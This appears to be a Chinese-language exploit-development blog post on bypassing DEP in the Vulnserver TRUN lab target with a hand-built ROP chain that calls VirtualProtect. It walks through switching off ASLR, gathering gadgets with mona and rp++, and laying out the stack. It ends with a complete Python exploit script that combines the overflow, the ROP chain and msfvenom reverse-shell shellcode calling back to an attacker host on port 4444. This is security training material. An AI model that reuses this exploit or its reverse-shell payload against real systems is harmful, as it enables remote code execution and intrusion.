0%

Vulnserver TRUN Bypass DEP With ROP Again

这篇和上篇的不同点在于,这里手动构造ROP链。

在寻找ROP gadget的时候,一般会用到rp++,但是在GitHub上编译好的是64位的,所以这里需要自己手动编译。因为我已经安装好VS2019 x86版本,所以想着自带的cmake能够直接用,结果出现与win10 21h2 32位版本不兼容的情况。解决办法就是下载cmake-3.22.2-i386版本(这里我选择了一个当前稳定版里面的最高版,其他版本未测),安装覆盖VS2019自己安装的cmake文件即可。

这里,还有一点需要注意的。必须关闭系统的ASLR。以Win7为例,修改注册表,找到项[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management],创建一个新的值:名字为:MoveImages,类型为:DWORD,值为:00000000

不同系统关闭ASLR的办法参照:https://rehex.ninja/posts/disable-aslr/

win10 21h2 x86下面,rp-win-x86获取的rop gadget地址不对,和mona获取的ROP链对应模块的地址差别很大。rp 2.0以上版本增加了--va参数,可以加上这个参数获取ROP Gadget相对模块基地址的偏移。然后在immunity debugger中获取模块加载时的基地址,两者相加得到ROP Gadget的地址。或者,查看mona生成ROP链的时候,会同时生成一个rop.txt文件,看里面的ROP Gadget也可,地址和immunity debugger中是一一对应的。

ROP链的理解:通过对栈指针和寄存器的操作,不断改变执行流,达到对特定函数的调用、shellcode的执行。

win10 21h2 32构造的不顺利,也想开始有两个寄存器来保存ESP的值,后续方便操作。但是在所有ROP Gadget里面没有找到合适的。其实有个方便的方式,参考mona生成的基于VirtualProtect函数的ROP链模板,自己在ROP Gadget里面寻找合适的即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
*** [ Python ] ***

def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_esi:---]
0x755fc77e, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
0x76b86a56, # MOV EAX,DWORD PTR DS:[EAX] # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x775e60d3, # XCHG EAX,ESI # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebp:---]
0x7560e8fc, # POP EBP # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0x625011af, # & jmp esp [essfunc.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x755c37e2, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x7669236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x76a87926, # XCHG EAX,EBX # RETN [msvcrt.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x775b422d, # POP EAX # RETN [ntdll.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x76693798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x7754f292, # XCHG EAX,EDX # RETN [ntdll.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x77638d70, # POP ECX # RETN [ntdll.dll] ** REBASED ** ASLR
0x62504c95, # &Writable location [essfunc.dll]
#[---INFO:gadgets_to_set_edi:---]
0x775d77a3, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x7669379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_eax:---]
0x76692c45, # POP EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x90909090, # nop
#[---INFO:pushad:---]
0x76ac6f67, # PUSHAD # RETN [msvcrt.dll] ** REBASED ** ASLR
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

以上是mona自动生成的ROP链,注意其中的0x62504c95, # &Writable location [essfunc.dll]。查看模块的地址可以发现,这个地址是essfunc.dllbss段(可读可写)所在位置。

ROP

仔细看这个1000h的空间,找一块没有使用的空间存放shellcode即可。所以可写地址不一定需要是mona生成的那样,可以自己指定其他的,如0x62504210

win 7 sp1 32位和win10 21h2 32位都进行了手动构造ROP链的实验。win7 sp1 32位构造的还算顺利。为加深印象,一步一步来构造整个ROP 链。

构造VirtualProtect函数及参数:首先,获取VirtualProtect的调用地址,在这里调用地址为0x77E22E1D。(查找方法见最后的参考)最终如下所示:

1
2
3
4
5
6
struct.pack('<L', 0x77E22E1D) +   # kernel32.VirtualProtect() essfunc.dll
struct.pack('<L', 0x4c4c4c4c) + # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
struct.pack('<L', 0x45454545) + # lpAddress
struct.pack('<L', 0x03030303) + # dwSize(size of shellcode)
struct.pack('<L', 0x54545454) + # flNewProtect
struct.pack('<L', 0x62506060) + # lpflOldProtect (any writeable address)

上面每个参数的值目前是随机设置的,后续会用正确的值覆盖掉。接下来的主要目标就是寻找合适的POP Gadget组成链,用正确的值覆盖上述VirtualProtect函数5个参数中对应的值。

VirtualProtect函数及变量入栈之后,在其后面可以填充一些\x90。在这里填充4个。

保存ESP的值到多个寄存器中:为了方便对栈空间的操作,可以保存ESP的值到多个寄存器中。这里根据POP Gadget可以保存到EAXECX中。

1
2
0x77bf58fe: push esp ; pop ecx ; ret ; (1 found)
0x41ae3a37: mov eax, ecx ; ret ; (1 found)

保存ESP的值:

ROP

ESP的值存入EAXECX中:

ROP

调整ESP的值,让其指向VirtualProtect参数之后的地址:为了防止VirtualProtect的参数被后续的指令覆盖,需要调整ESP的值,让其跳过VirtualProtect变量所在的区域。这里找到的POP Gadget为:

1
0x6ff821d5: add esp, 0x1C ; ret ; (1 found)

此时,栈空间如下:

ROP

确定不同寄存器指向栈布局上VirtualProtect不同的参数地址:查看栈空间目前的布局,为了让ECX指向return变量所在的栈地址,需要对ECX目前的值进行增加。可以使用如下POP Gadget

1
0x6ff59f14: inc ecx ; ret ; (1 found)

保存在ECXESP初始值(0x019DF9E4)距离return所在栈地址(0x019DF9F0)的距离为C,所以需要重复12次上面的指令。

栈布局中,lpaddress0x019DF9F4)紧跟在return之后,两者地址相差4,所以可以先把ECX保存到EDX,然后对EDX目前的值进行增加。

ECX的值保存到EDXPOP Gadget如下:

1
0x6ffb615a: mov edx, ecx ; pop ebp ; ret ; (1 found)

注意上面后续有个pop ebp的指令,为了不影响我们栈的布局,主要指不会破坏后续的POP Gadget,我们可以在上面指令之后增加4字节的无用数据,这里用\x41\x41\x41\x41代替。

EDX自加的POP Gadget如下:

1
0x77f226c5: inc edx ; ret ; (1 found)

根据前面的分析,需要执行4次上面这个指令。

接下来,让EAX指向shellcode所在地址区域(可为shellcode开头,或shellcode之前的\x90),找到的POP Gadget如下:

1
0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)

这里存在一个pop ebp,同样需要添加一个4字节无用数据到栈上,\x41\x41\x41\x41。此时EAX的值为0x019DFAE4

查看栈布局:

ROP

到目前为止:

已经让ECX指向之前布局的栈中,return变量所在的栈地址。

已经让EDX指向之前布局的栈中,lpAddress变量所在的栈地址。

已经让EAX指向最终执行的shellcode所在的地址,可以为shellcode前面填充的\x90所在地址。

覆盖return和lpAddress在栈布局中所保存的值:现在,可以用正确的值覆盖returnlpAddress在栈布局中的所保存的值,也就是之前定义VirtualProtect参数时,随便写的几个值。对应的POP Gadget如下:

覆盖return在栈布局中所在的值:

1
0x6ff63bdb: mov  [ecx], eax ; pop ebp ; ret ; (1 found)

这里存在一个pop ebp,同样需要添加4字节无用数据到栈上,\x41\x41\x41\x41

此时,return所在栈地址的值:

ROP

覆盖lpAddress在栈布局中所在的值:

1
0x77e9431b: mov  [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)

此时,lpAddress所在栈地址的值:

ROP

这里存在pop esipop ebp两条指令,需要添加8字节无用数据到栈上,\x41\x41\x41\x41。但是这里有个特别注意的指令:retn 0x000C。这个指令的意思是:先把ESP所指向地址的值存入EIP,再将ESP的值加上0x000C。特别之处在于后续的POP Gadget所在位置为8字节无用数据之后,再接12字节的无用数据,才不会破坏后续POP Gadget的正常指向,如果后续POP GadgetPOP指令,所添加的无用数据放在12字节无用数据之后即可。

指定需要修改权限的内存空间大小:这个值需要参考shellcode的大小,还需要参考填充。这里有个需要注意的地方,空间大小不能太大,看有的说不能超过一个页(4096byte),我这里试了一下,在一个页之内也会出现内存拒绝访问的问题。所以这里需要试几次,一般200h可行。

到目前为止,EAX的值已经不再需要,可以先让EAX清零,然后将内存空间大小的值存入EAX。清零EAXPOP Gadget如下所示:

1
#0x77e0b94b: xor eax, eax ; ret ; (1 found)

现在可以将EAX的值增加到我们需要的大小,POP Gadget如下:

1
#0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)

这里存在一个pop ebp,同样需要添加4字节无用数据到栈上,\x41\x41\x41\x41。本地测试发现在这里EAX600h的时候,会出现指定Access violation when executing [01ABFAE4]的错误。其实,只需要计算shellcode的大小,加上填充的NOP大小,然后给EAX一个比它们之和大的值就行。我这里给了500h,其实200h也可。

根据之前VirtualProtect的栈布局,需要修改EDX的值(019DF9F4),让其指向dwSize所在栈地址(019DF9F8)。这里只需要EDX的值增加4即可,选择的ROP Gadget如下:

1
#0x77f226c5: inc edx ; ret ; (1 found)

执行4次,然后利用如下ROP Gadget完成dwSize值得覆盖:

1
#0x77f5335f: mov  [edx], eax ; xor eax, eax ; ret ; (1 found)

此时,dwSize所在栈地址的值:

ROP

可以发现这里还完成了EAX的归零操作,正好为下一步提供了一些便利。

指定内存空间修改权限的值:这个值为固定值0x40EAX已经归零,现在需要把0x40赋值给EAX,可以使用一下ROP Gadget

1
#0x77f17bb2: add eax, 0x20 ; ret ; (1 found)

需要执行两次这条指令。

紧接着,和上一步类似,EDX再次加4,让其指向栈布局的flNewProtect所在栈地址(019DF9FC),ROP Gadget如下所示:

1
#0x77f226c5: inc edx ; ret ; (1 found)

需要执行4次。

然后用EAX的值(0x40)覆盖它所指向的值,ROP Gadget如下所示:

1
#0x77f5335f: mov  [edx], eax ; xor eax, eax ; ret ; (1 found)

此时,flNewProtect所在栈地址的值:

ROP

到目前为止,VirtualProtect的变量值已经全部用正确的值进行了替换,这里lpflOldProtect在最开始定义的时候,选择一个可写的地址即可,后续一系列的ROP Gadget操作不涉及到它。

ESP指向到VirtualProtect函数所在地址:EAX寄存器存入栈布局中VirtualProtect函数所在地址(0x019DF9EC),然后,让ESP指向该地址。

这里观察到ECX的值(0x019DF9F0)距离VirtualProtect所在栈布局中的地址仅差4,这里可以让ECX减掉4。我们这里选择先把ECX的值赋值给EAXROP Gadget如下所示:

1
#0x77f42705: mov eax, ecx ; ret ; (1 found)

然后,将EAX的值减掉4ROP Gadget如下所示:

1
#0x41ac80db: dec eax ; dec eax ; ret ; (1 found)

需要执行两遍。

最终,把EAX的值赋值给ESPROP Gadget如下所示:

1
#0x77d3104a: xchg eax, esp ; ret ; (1 found)

此时,ESP的值为:

ROP

到目前为止,所有的ROP Gadget已经构造和链接完毕。

最后,自己构造的最终ROP链利用脚本如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: n0maj1o24
Tested On: Windows 7 EN SP1 32

"""

import socket
import struct

HOST = '192.168.13.147'
PORT = 9999

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12"
shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e"
shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99"
shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3"
shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe"
shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1"
shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92"
shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f"
shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a"
shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72"
shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4"
shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61"
shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a"
shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad"
shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d"
shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac"
shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41"
shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25"
shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e"
shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4"
shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4"
shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9"
shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc"
shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e"
shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0"
shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e"
shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61"
shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1"
shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77"
shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20"
shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35"



# POP Gadget 1
rop = struct.pack('<L', 0x77bf58fe) # 0x77bf58fe: push esp ; pop ecx ; ret ; (1 found)

# POP Gadget 2
rop += struct.pack('<L', 0x77c46d04) # 0x77c46d04: mov eax, ecx ; ret ; (1 found)

# POP Gadget 3
rop += struct.pack('<L', 0x6ff821d5) # 0x6ff821d5: add esp, 0x1C ; ret ; (1 found)


PAYLOAD = (
b'TRUN .' +
b'A' * 2006 +
# 62501022 \. C3 RETN
struct.pack('<L', 0x62501022) +
rop+

# Calling VirtualProtect with parameters
struct.pack('<L', 0x77E22E1D) + # kernel32.VirtualProtect() essfunc.dll
struct.pack('<L', 0x4c4c4c4c) + # return address (address of shellcode, or where to jump after VirtualProtect call. Not officially apart of the "parameters"
struct.pack('<L', 0x45454545) + # lpAddress
struct.pack('<L', 0x03030303) + # size of shellcode
struct.pack('<L', 0x54545454) + # flNewProtect
struct.pack('<L', 0x62506060) + # pOldProtect (any writeable address)

# Padding between future ROP Gadgets and shellcode. Arbitrary number (just make sure you have enough room on the stack)
b"\x90" * 4 +

# POP Gadget 4
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ff59f14)+ #0x6ff59f14: inc ecx ; ret ; (1 found)
struct.pack('<L',0x6ffb615a)+ #0x6ffb615a: mov edx, ecx ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x50505050)+ #padding

# POP Gadget 5
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+

# POP Gadget 6
struct.pack('<L',0x6ff63bdb)+ #0x6ff63bdb: mov [ecx], eax ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+

# POP Gadget 7 + POP Gaget 8
struct.pack('<L',0x77e9431b)+ #0x77e9431b: mov [edx], eax ; pop esi ; pop ebp ; retn 0x000C ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x41414141)+
struct.pack('<L',0x77e0b94b)+ #0x77e0b94b: xor eax, eax ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x41414141)+
struct.pack('<L',0x41414141)+

# POP Gadget 9
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+
struct.pack('<L',0x6ff7e29a)+ #0x6ff7e29a: add eax, 0x00000100 ; pop ebp ; ret ; (1 found)
struct.pack('<L',0x41414141)+

# POP Gadget 10
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+
struct.pack('<L',0x77f226c5)+
struct.pack('<L',0x77f226c5)+

#POP Gadget 11
struct.pack('<L',0x77f5335f)+ #0x77f5335f: mov [edx], eax ; xor eax, eax ; ret ; (1 found)

#POP Gadget 12
struct.pack('<L',0x77f17bb2)+ #0x77f17bb2: add eax, 0x20 ; ret ; (1 found)
struct.pack('<L',0x77f17bb2)+

#POP Gadget 13
struct.pack('<L',0x77f226c5)+ #0x77f226c5: inc edx ; ret ; (1 found)
struct.pack('<L',0x77f226c5)+
struct.pack('<L',0x77f226c5)+
struct.pack('<L',0x77f226c5)+

#POP Gadget 14
struct.pack('<L',0x77f5335f)+ #0x77f5335f: mov [edx], eax ; xor eax, eax ; ret ; (1 found)

#POP Gadget 15
struct.pack('<L',0x77f42705)+ #0x77f42705: mov eax, ecx ; ret ; (1 found)

#POP Gadget 16
struct.pack('<L',0x41ac80db)+ #0x41ac80db: dec eax ; dec eax ; ret ; (1 found)
struct.pack('<L',0x41ac80db)+ #0x41ac80db: dec eax ; dec eax ; ret ; (1 found)

#POP Gadget 17
struct.pack('<L',0x77d3104a)+ #0x77d3104a: xchg eax, esp ; ret ; (1 found)
b"\x90"*256+
shellcode
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

最后,执行的结果如下:

ROP

参考:https://connormcgarr.github.io/ROP/